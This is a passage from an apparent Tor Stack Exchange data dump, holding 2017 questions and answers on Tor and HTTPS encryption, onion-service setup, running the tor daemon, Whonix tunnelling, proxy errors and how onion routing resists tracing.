captured.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does Tor encrypt one's data like the HTTPS Everywhere add-on?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the connection is still the same as would be used without Tor. Tor cannot force sites to use encryption or encrypt connections once they come out of the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="17363" LastEditorUserId="17363" LastEditDate="2017-05-29T17:17:01.307" LastActivityDate="2017-05-29T17:17:01.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14878" PostTypeId="2" ParentId="14874" CreationDate="2017-05-29T13:44:45.767" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the HTTPS not needed on the Tor Browser?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;HTTPS Everywhere is included by default in Tor Browser&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does Tor encrypt one's data like the HTTPS Everywhere add-on?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Neither of these tools encrypt the application data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTTPS Everywhere&lt;/strong&gt; has a set of policies for websites that ensure that for those websites it will use HTTPS where possible. It will still result in data being sent in plaintext in cases where either the website doesn't support HTTPS or it does not have a policy defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tor&lt;/strong&gt; encrypts your data when it's &lt;em&gt;inside&lt;/em&gt; the Tor network. If the traffic exits the Tor network then the final layer of encryption is removed by the exit relay. If the data sent &lt;em&gt;into&lt;/em&gt; the Tor network (e.g. your HTTP request) isn't encrypted then the data that &lt;em&gt;leaves&lt;/em&gt; the Tor network won't be encrypted.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-29T13:44:45.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14880" PostTypeId="1" CreationDate="2017-05-29T16:18:24.243" Score="0" ViewCount="298" Body="&lt;p&gt;I have seen recommendations to run the hidden service and the web server on different servers. I currently have the hidden service running in a second vm than the nginx server which points to an upstream Apache server. For better security I want to move the hidden service to a different server, and point it to the nginx server. Would the communication between the hidden service and the nginx server be encrypted? I don't think it would be. How should I achieve encryption between both of the servers?&lt;/p&gt;&#xA;" OwnerUserId="17672" LastActivityDate="2021-12-24T23:02:25.233" Title="SSL between onion and web server" Tags="|configuration|onion-services|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14881" PostTypeId="2" ParentId="14863" CreationDate="2017-05-29T19:39:38.807" Score="1" Body="&lt;p&gt;The first line of the warn message has some hints. The directory &lt;code&gt;/var/lib/tor&lt;/code&gt; is owned by the user &lt;code&gt;debian-tor&lt;/code&gt;. You executed &lt;code&gt;sudo tor&lt;/code&gt; which means that the Tor process is run by the &lt;code&gt;root&lt;/code&gt; user. This leads to the error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either execute the command as &lt;code&gt;debian-tor&lt;/code&gt; user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u debian-tor tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or start the process via systemd (or similar means):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl start tor&#xA;sudo service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2017-05-30T22:31:25.783" LastActivityDate="2017-05-30T22:31:25.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14882" PostTypeId="2" ParentId="14870" CreationDate="2017-05-29T19:54:48.817" Score="1" Body="&lt;p&gt;The developers are working on &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;proposal 224&lt;/a&gt;. According to the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/meetings/2017Amsterdam/Notes/OnionServices&quot; rel=&quot;nofollow noreferrer&quot;&gt;notes from the Amsterdam meeting in 2017&lt;/a&gt; it is planned to have an initial release in September 2017 and the stable version should be out in December 2017.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-05-29T19:54:48.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14883" PostTypeId="1" CreationDate="2017-05-30T03:39:41.247" Score="3" ViewCount="498" Body="&lt;p&gt;Basic problem of lets say a whistleblower is that he may not wish the person he is communicating with to know his real public IP and often the 3rd party is a non-Tor user so the use of hidden services is not possible as that person cannot access them if he/she is not connected to the Tor network.  Correct me if I am wrong in this, for example if I were to setup a SIP or XMPP server as a Tor hidden service on my local Tor m/c under Linux, could a non-Tor user make connection to my server without being part of the Tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3rd party may be technically incapable of coping with Tor or may be unwilling due to not wanting to draw attention to themself that they are using Tor and thereby automatically raising suspicion in oppressive regimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my requirement is I wish to remain anonymous from the gov, and not reveal my real public IP to the 3rd party I am communicating with by using Tor at my end.  To be more specific by using a Whonix Workstation to access the Tor n/w via the Whonix Gateway (both running on the local m/c in seperate VMs under a Debian host OS.  Of course this question is Tor generic and not specific to Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to create either a SSH, OpenVPN or a stunnel tunnel between my Tor m/c and the 3rd party's non-Tor m/c.  The 3rd party could be running Debian Linux, Windows XP or Windows 7, it shouldn't matter to the overall concept here.  Once I have an encrypted tunnel, I can then use Local Port Forwarding in SSH or stunnel to run whatever servicei I wish through the tunnel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I wish to use Linphone SIP Softphone at both ends to make encrypted P2P VoIP calls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were not using Tor at my end, I would have setup my own SIP server on my machine and allowed the remote user to connect to it using any SIP client/softphone.  Alternatively I could use a SIP proxy such as the service provided by Linphone where you get a public number ex: tom@domain.com which means you do not have to worry about your public IP address changing, the 3rd party is routed to you via the Linphone service.  I don't really wish to use any 3rd party serice as I do not wish to introduce additional attack vectors via potential side channel attacks which may allow the SIP proxy operator to do a MiTM attack on my SRTP traffic and he would certainly know the real IP of both communicating parties even if he could not attack the crypto.  If anyone knows of any potential risks/attacks in using a Linphone type SIP registration serice, please let me know to help me better understand the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case AFAIK only the SIP signalling goes via the SIP provider, the actual data in the form of SRTP if its an encrypted session goes P2P in which case the gov would at a minimum know the IP address of both communicating parties.  Please correct me if my understanding is not&#xA;correct here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So returning to the issue.  If I could run the SSH or stunnel server on the 3rd party's m/c I can see that it may be workable as I know his/her public IP and can initiate the session from my SIP client to their SIP client or SIP server.  As an aside, when Tor switches circuits say every 10 mins does the exit node get changed too and thereby a new IP address is seen by the remote server you are connected to.  If its a HTTPS session, am I correct in thinking your session is not lost even if your IP changes?  Imagine if you are connected to fb via https, via Tor, and your exit not changes, obviously fb can use cookies to track you so it can ignore the IP address change, but if the application say a SIP or XMPP session is using ZRTP to do authentication, will it not think a MiTM may be taking place as the IP has changed?  Or the session key, unless its stolen by the attacker, is only residing on the 2 machines at the time authentication took place so if a MiTM took place that attacker would not have the session key so the connection would be dropped by the application or at least the user warned that the session key has changed?  SSH for instance would be affected if the session key changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct in thinking that I cannot have the SSH or stunnel server running on my local machine if I am behind Tor and the other party is not using Tor, as they cannot know my IP address to make a connection to?  Any techniques I am missing which would allow a reverse SSH or HTTPS connection from the 3rd party machine back to my server?  Same argument if I wish to use my own XMPP server instead going down the SIP route to have voice/video conversations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can think of any NAT issues as both parties will be behind domestic WiFi routers which use NAT and in my case I am NATing a Whonix Gateway VM to the host OS which uses a WiFi connection for the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, apologies for the long winded question, however this is certain a configuration issue which would be very useful to many Tor users, I have certainly been thinking about it for years as to how to keep a local attacker from finding out the real IP of the 3rd parties I communicate with because if they know their IP then they can put pressure on them to reveal my real ID and location.&lt;/p&gt;&#xA;" OwnerUserId="17676" LastEditorUserId="12737" LastEditDate="2017-05-30T04:05:45.737" LastActivityDate="2017-05-30T04:05:45.737" Title="Can you create a SSH, OpenVPN, or stunnel tunel from Whonix where the other party is a non-Tor machine and pipe Linphone traffic through this tunel" Tags="|whonix|ssh|openvpn|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14885" PostTypeId="1" CreationDate="2017-05-30T11:59:48.720" Score="9" ViewCount="118807" Body="&lt;p&gt;I have downloaded the most recent version of the Tor bundle 6.5.2 for Mac. When I open the Tor browser I get a message &quot;the proxy server is refusing connections&quot;. I have followed the instructions (on YouTube and other sites) to set the Preferences&gt;Advanced&gt;Network&gt;Settings&gt;to Manual Proxy Configuration and select SOCKS Host 127.0.0.1 and Port 9150. I don't really know what a 'proxy' is or how to fix this so that i can use the browser.&lt;/p&gt;&#xA;" OwnerUserId="17681" LastActivityDate="2019-03-21T05:02:15.020" Title="The proxy server is refusing connections" Tags="|proxy|connection|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14887" PostTypeId="1" CreationDate="2017-05-31T16:44:00.113" Score="2" ViewCount="138" Body="&lt;p&gt;just saw the latest posts on the torproject blog, i see tor v3.x is out, but after running apt-get update there isn't a tor update?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; apt-cache policy tor&#xA;tor:&#xA;  Installed: 0.2.9.10-1~xenial+1&#xA;  Candidate: 0.2.9.10-1~xenial+1&#xA;  Version table:&#xA; *** 0.2.9.10-1~xenial+1 1001&#xA;       1001 tor+http://sdscoq7snqtznauu.onion/torproject.org xenial/main amd64 Packages&#xA;    100 /var/lib/dpkg/status&#xA;     0.2.7.6-1ubuntu1 500&#xA;    500 tor+http://xx.archive.ubuntu.com/ubuntu xenial/universe amd64 Packages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when i view the repo in the browser i can see there was an update on the 26th:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sdscoq7snqtznauu.onion/torproject.org/dists/xenial/main/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sdscoq7snqtznauu.onion/torproject.org/dists/xenial/main/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;am i missing something? why isn't v3 an update candidate?&lt;/p&gt;&#xA;" OwnerUserId="17692" LastActivityDate="2017-06-01T03:32:49.580" Title="tor v3.x in xenial?" Tags="|configuration|ubuntu|update|binaries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14888" PostTypeId="1" CreationDate="2017-06-01T02:26:55.643" Score="1" ViewCount="320" Body="&lt;p&gt;I have followed steps in &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips&quot;&gt;this&lt;/a&gt; article and could successfully run two tor instances with different exit nodes (IPs duplicate if more than 2 nodes are used) and checked Tor status using following sites and all reported success:&#xA;check.torproject.org &#xA;ip-check.info&#xA;panopticlick.eff.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT some say in the article this way compromise  Tor security , How do i make sure that i'm not messing anything up ?&lt;/p&gt;&#xA;" OwnerUserId="17697" LastActivityDate="2017-06-01T02:26:55.643" Title="Does running multiple Tor instances with multiple exit nodes this way really compromise Tor security?" Tags="|security|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14889" PostTypeId="1" CreationDate="2017-06-01T03:03:43.780" Score="1" ViewCount="34" Body="&lt;p&gt;If say Tor changes circuits every few minutes, and lets say you have a session open with a HTTPS site (probably doesn't matter if http or https), say a bank or Facebook, twitter etc, when a cct changes, does that circuit change too which would imply the site you are visiting now sees a new IP address as the exit node has changed or does this cct change ONLY affect NEW connections you make?&lt;/p&gt;&#xA;" OwnerUserId="17676" LastActivityDate="2017-06-01T03:03:43.780" Title="Does a Tor exit node change when a new Tor cct is assigned?" Tags="|exit-relays|" AnswerCount="0" CommentCount="0" ClosedDate="2017-06-07T10:54:28.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="14890" PostTypeId="2" ParentId="14887" CreationDate="2017-06-01T03:32:49.580" Score="1" Body="&lt;p&gt;As I understand it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0.2.9.10&lt;/code&gt; is the current stable release and will be what remains in stable releases.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0.3.x&lt;/code&gt; is the new stable and will be what it is included in the next stable Debian release (&lt;code&gt;stretch&lt;/code&gt;) when it moves from &lt;code&gt;testing&lt;/code&gt; to &lt;code&gt;stable&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I wouldn't expect to see it hit Ubuntu or Debian repos until &lt;code&gt;strech&lt;/code&gt; becomes &lt;code&gt;stable&lt;/code&gt; and &lt;code&gt;jessie&lt;/code&gt; becomes &lt;code&gt;oldstable&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-01T03:32:49.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14893" PostTypeId="1" CreationDate="2017-06-01T05:08:06.300" Score="4" ViewCount="10802" Body="&lt;p&gt;(Windows 10 Home, 64-Bit Operating System, x64-based processor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser will not start. When clicking the &quot;Start Tor Browser&quot; icon all I get is the &quot;Tor unexpectedly exited&quot; message. Pressing the &quot;Restart Tor&quot; button I get the &quot;Waiting for Tor to start...&quot; message, and then it goes back to the &quot;Tor unexpectedly exited&quot; message again. It will Not Restart and there is no Tor Log to copy to Clipboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor was working fine and then one day I tried using it and all I got was the &quot;Tor unexpectedly exited&quot; message. I uninstalled it and tried re-installing the latest version but I still keep getting the same &quot;Tor unexpectedly exited&quot; message with No Tor Log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uninstall and re-install did Not work.&#xA;Run as Admin did Not work.&#xA;Disabling Internet Security software did Not work.&#xA;Compatibility Modes did Not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searched similar problems and could not find a fix for my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Tor Browser works fine on 2 other computers running same Internet Security on Same Network. One is Win 7 and other is still running Vista. It only stopped working on the Win 10 computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple fix for this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VtlYl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VtlYl.jpg&quot; alt=&quot;Screen Shot of Message when trying to run Tor Browser&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;^ This is all I get when trying to run Tor ^&lt;/p&gt;&#xA;" OwnerUserId="17699" LastActivityDate="2017-07-21T08:29:09.073" Title="Tor Browser Will Not Start" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14897" PostTypeId="1" CreationDate="2017-06-01T09:45:37.377" Score="1" ViewCount="448" Body="&lt;p&gt;I was wondering can I run an hidden exit note that only few people know of it, somehow hidden from others?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not can I protect it via password or something so nobody else can access it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or instead should I use a VPN? Is security the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="17703" LastActivityDate="2017-06-01T18:55:55.660" Title="Hidden tor exit nodes" Tags="|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14898" PostTypeId="1" AcceptedAnswerId="14904" CreationDate="2017-06-01T10:15:04.810" Score="-1" ViewCount="1170" Body="&lt;p&gt;I've just learnt about the Onion routing protocol on Wikipedia, and the computerphile's video. And some of the concepts aren't very clear to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each nodes keep the information about the previous and the next one. I assume it is the Input and Output interfaces of the router the packets are going to be sent through. &#xA;As each node may be used by different clients, I assume each router keeps a table like the one kept in the virtual circuit used in IP protocol (with a circuit Label identifier). &#xA;So my question is, isn't it an issue if we look at the routing table of  a tor node to get the previous/next one of a specific client's circuit and then watch the routing table of the previous next router ... till we reach the client or the server ?&lt;/p&gt;&#xA;" OwnerUserId="17710" OwnerDisplayName="dam meeur hydratik" LastActivityDate="2017-06-01T19:58:59.743" Title="Better understanding of the routing tables inside each TOR router" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2017-06-02T14:42:08.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="14899" PostTypeId="2" ParentId="14812" CreationDate="2017-06-01T10:57:06.757" Score="1" Body="&lt;p&gt;You could simply try searching for the address on a search engine that indexes .onions which should give you an idea of what the site is about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your concern seems to be about downloading illegal images, you might want to simply block images from loading while visiting that site. This can be done in Firefox's &lt;code&gt;about:config&lt;/code&gt; by setting the value of &lt;code&gt;permissions.default.image&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt; (it doesn't seem to block &lt;em&gt;all&lt;/em&gt; images, for example &quot;icons&quot; and some other content still loads).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make your browser stand out among other users who visited the site, but as long as you reset the setting to default for anything else you do on Tor, this shouldn't harm your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably want to block video and sound as well. If you're concerned about some content still loading, find a way to actually make Firefox only load text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply connecting to a site and/or downloading some text from it shouldn't be illegal (I am not a lawyer and I do not know your country), but you might want to check your jurisdiction.&lt;/p&gt;&#xA;" OwnerUserId="17363" LastEditorUserId="17363" LastEditDate="2017-06-01T20:29:08.247" LastActivityDate="2017-06-01T20:29:08.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14900" PostTypeId="1" CreationDate="2017-06-01T17:35:32.027" Score="1" ViewCount="310" Body="&lt;p&gt;I use Tails as the os for my work laptop. I would like to prevent the tor browser from being able to connect to distracting websites (reddit, fivethirtyeight, some webcomics, ect). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive tried edditing the /ect/hosts file, but that doesnt seem to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im perfectly happy with a temporary fix that I have to re-apply when I&#xA;boot up my laptop. As long as I can make and follow a checklist each&#xA;time, the gains in productivity make front loading the work worth it.&lt;/p&gt;&#xA;" OwnerUserId="17706" LastActivityDate="2017-06-06T15:44:02.350" Title="blocking websites without breaking annonmytity." Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14901" PostTypeId="2" ParentId="14900" CreationDate="2017-06-01T18:53:04.717" Score="1" Body="&lt;p&gt;Two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a SOCKS proxy shim to sit between the real SOCKS port and Tor Browser &lt;em&gt;and&lt;/em&gt; a Control Port shim to sit between the Control Port Filter and Tor Browser and report the fake SOCKS port in replies.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use uBlock Origin's 'My Filters' option to block requests to places you don't want to connect to. (Tools -&gt; Add-Ons -&gt; uBlock Origin Preferences -&gt; Show Dashboard -&gt; My Filters tab)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both of the above &lt;em&gt;will&lt;/em&gt; harm your anonymity, as other Tails users will load resources from those sites but you wouldn't making your browsing pattern unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe there is a way that this could be approached (without some serious software engineering work) that &lt;em&gt;doesn't&lt;/em&gt; harm your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-01T18:53:04.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14902" PostTypeId="2" ParentId="14897" CreationDate="2017-06-01T18:55:55.660" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I was wondering can I run an hidden exit note that only few people know of it, somehow hidden from others?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If not can I protect it via password or something so nobody else can access it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or instead should I use a VPN?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is security the same?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-01T18:55:55.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14904" PostTypeId="2" ParentId="14898" CreationDate="2017-06-01T19:58:59.743" Score="1" Body="&lt;p&gt;Great question.  I'd like to start out by explaining the concept of onion routing so satisfy your comment that the concepts are unclear to you, then discuss some key areas that should answer your question about routing tables.  Onion routing is a technique for anonymous communication over the unsecure internet by using PKI encryption between each pseudo-random onion router that belongs to an onion routing group, such as the Tor network.  &lt;strong&gt;The goal of onion routing is to provide anonymity&lt;/strong&gt; for the SOURCE IP ADDRESS as well as possibly the HIDDEN SERVICES it uses.  Let's rise up from the details and discuss an example.  Let's say you're at home on your computer and you open your favorite browser and go to &lt;a href=&quot;https://www.anywebsite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.anywebsite.com&lt;/a&gt;. The people at that website can see which source ip address (YOUR ip address) hit their server.  Now let's say for ANY reason at all you still want to get to that website, but you DO NOT want them to know YOUR ip address that you originated from at home.  Here's how you do it.  Assuming you have already downloaded/installed your onion routing software, you open your browser and go to that website.  From there, the onion routing software designs (NOT CREATES!) a &quot;circuit of relays&quot; that will get you from your home to the destination.  Here's something to keep in mind.  Normal internet routing communications are designed to provide you with the shortest Autonomous System to the destination.  Onion routing's goal is anonymity.  Here's how it works.  Your onion routing software looks in it's constantly-updated table of relays/bridges to determine which onion routers (it needs a MINIMUM of three) it will use for THIS particular communication.  Your computer then sends its traffic to the entry node (aka The first onion router).  That entry node creates an encrypted https session to the second onion router (aka, the intermediary), then sends it to the intermediary.  (See torproject.org for exact encryption methods)  The intermediary creates an encrypted https session to the next onion router (let's assume that in this example, the next one is the EXIT NODE - aka last onion router in the circuit) then sends the data there.  The exit node at this point sends the data to that website.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO WHAT WAS ACHIEVED??  &lt;strong&gt;Nobody in the entire circuit KNOWS THE PATH of the entire circuit&lt;/strong&gt; because they only know what came directly before it and what comes directly after it!  The entry node (first onion router) only knows the IP of the originating computer and the IP of the next onion router.  The intermediary node only knows the IP of the originating entry node and the IP of the next onion router (in this case, the EXIT NODE).  The exit node only knows the IP of the intermediary node and the destination IP address.  This all succeeds because the information is encrypted/encapsulated in &quot;layers&quot;, such as the layers of an onion.  Hence, onion routing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, now onto your question.  Your question was, &quot;&lt;strong&gt;isn't it an issue if we look at the routing table of a tor node to get the previous/next one of a specific client's circuit and then watch the routing table of the previous next router ... till we reach the client or the server ?&lt;/strong&gt;&quot;.  Answer:  It is not an issue because the &quot;circuit&quot; is pseudo random and changed frequently, so it's mathematically not possible to guess which onion routers will be in play for the next circuit without somehow tampering with the process.  Once this circuit is complete, your next circuit could be a set of any other pseudo-random onion routers.  BUT!!  For argument's sake, let's go ahead and say the circuit never changed.  Realistically, what would have to be done is this.  You watch the traffic leaving your computer and notice where the traffic is going and write down that IP address.  You then need to discover where that IP address is physically in the world, then contact that person/business so you can go inspect their onion router.  Let's say they agree and tell you the onion router is in India - come take a look.  You go there, or remote to it, and tell yourself, &quot;Ok, I know that if I do a SHOW IP ROUTE I can see the route table, but this is a Windows machine&quot; (or Linux, I suppose - but Windows in this example).  Are you sunk?  Not if you got to that Windows machine in time before the netstat table entry expires.  So you drop to a command prompt and to a NETSTAT -a and a list of &quot;TCP connections&quot; (not routes) appear and show what you're connected to under the Foreign Address column.  So now that you're staring at a screen filled with TCP connections (assuming you didn't send traffic using UDP, because if you did then they won't list here because UDP is connectionless) you realize that you have no idea which one of these connections goes to the &quot;intermediary node&quot; because that information was encrypted and encapsulated (See torproject.org for details on that).  So are you sunk?  Remember, an onion router only knows where it DIRECTLY came from, and where it's DIRECTLY going.  The entry node knows the originating IP, and in the tenth of a second or less it knew where the next onion router was.  But because it processes SO MANY requests like this and they expire quickly, there's too many to choose from and now we're talking exponential mathematics to take all of the results and do the same thing on those.  But for argument's sake, &lt;strong&gt;let's say that nobody was using the entire onion-routing network during that time except you&lt;/strong&gt; and the netstat table only showed ONE connection - and that connection was to your next onion router!  Ok, contact them, fly there or remote onto it if you can speak their language (before the netstat table expires) and do the same thing until you get to the exit node.  On the exit node, you find the IP of the destination.  Did you finally do it!!?? Well, that depends on what your goal was.  If your goal was to know the source IP, the path it took for THAT connection, and know the destination IP, then given all of these circumstances, you have found that information for that one connection stream.  But if your goal was to KNOW what conversation took place, are you sunk?  Let's go a step further and say that a packet capture was running on all of these onion routers while this communication took place and you now have access to all of them!!!  Now what do you have!!??  You have all of the encrypted traffic that went between the originating pc and that website &lt;em&gt;because all of that was encrypted on the application layer&lt;/em&gt; when they typed in HTTPS.  You are now the proud owner of multiple packet captures filled with PKI encrypted data.  It's at this point, you're sunk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this information was useful!&lt;/p&gt;&#xA;" OwnerUserId="17708" LastActivityDate="2017-06-01T19:58:59.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14909" PostTypeId="1" CreationDate="2017-06-02T20:03:29.473" Score="0" ViewCount="1838" Body="&lt;p&gt;seeing a lot of this in my whonix gateway logs. Should I be concerned or do anything about it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ journalctl -af&#xA;&#xA;Jun 02 19:41:30 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:41:30 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:41:30 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:41:34 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:41:34 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:41:34 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:41:45 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:41:45 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:41:45 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:42:00 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:42:00 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:42:00 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:42:20 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:42:20 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:42:20 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:42:35 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:42:35 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:42:35 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:42:51 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:42:51 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:42:51 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:43:06 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:43:06 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:43:06 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:43:22 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 